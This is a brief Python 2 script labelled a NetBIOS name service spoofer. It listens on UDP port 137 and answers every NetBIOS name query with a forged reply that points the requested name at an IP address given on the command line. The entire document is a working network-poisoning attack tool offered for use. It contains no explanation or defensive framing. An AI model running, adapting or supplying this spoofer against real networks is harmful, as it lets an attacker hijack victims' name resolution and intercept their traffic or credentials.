##Simple netbios name service - Laurent Gaffi - f7d970467

##Simple netbios name service spoofer.

import sys, SocketServer
from socket import inet_aton

if len(sys.argv)<=1:
 sys.exit('Give me an IP')

#NBNS SPOOF;
answer = [chr(int(a, 16)) for a in """
08 f3 85 80 00 00 00 01 00 00 00 00 20 46 48 45
50 46 43 45 4c 45 48 46 43 45 50 46 46 46 41 43
41 43 41 43 41 43 41 43 41 43 41 42 4e 00 00 20
00 01 00 04 93 e0 00 06 00 00""".split()]

def nametid(data,packet):
    pack = packet[:]
    pack[0:2]=data[0:2]##Transaction ID
    pack[12:48]=data[12:48]##Netbios name
    return pack

class NBS(SocketServer.BaseRequestHandler):

    def server_bind(self):
       self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)
       self.socket.bind(self.server_address)

    def handle(self):
        request, socket = self.request
        print "From:", self.client_address
        ## waiting for query ..
        if request[2:4] == "\x01\x10":
           buffer0 = ''.join(nametid(request,answer))+inet_aton(str(sys.argv[1]))
           socket.sendto(buffer0, self.client_address)
           print "Fake Response sended\n"

launch = SocketServer.UDPServer(('', 137),NBS)
launch.serve_forever()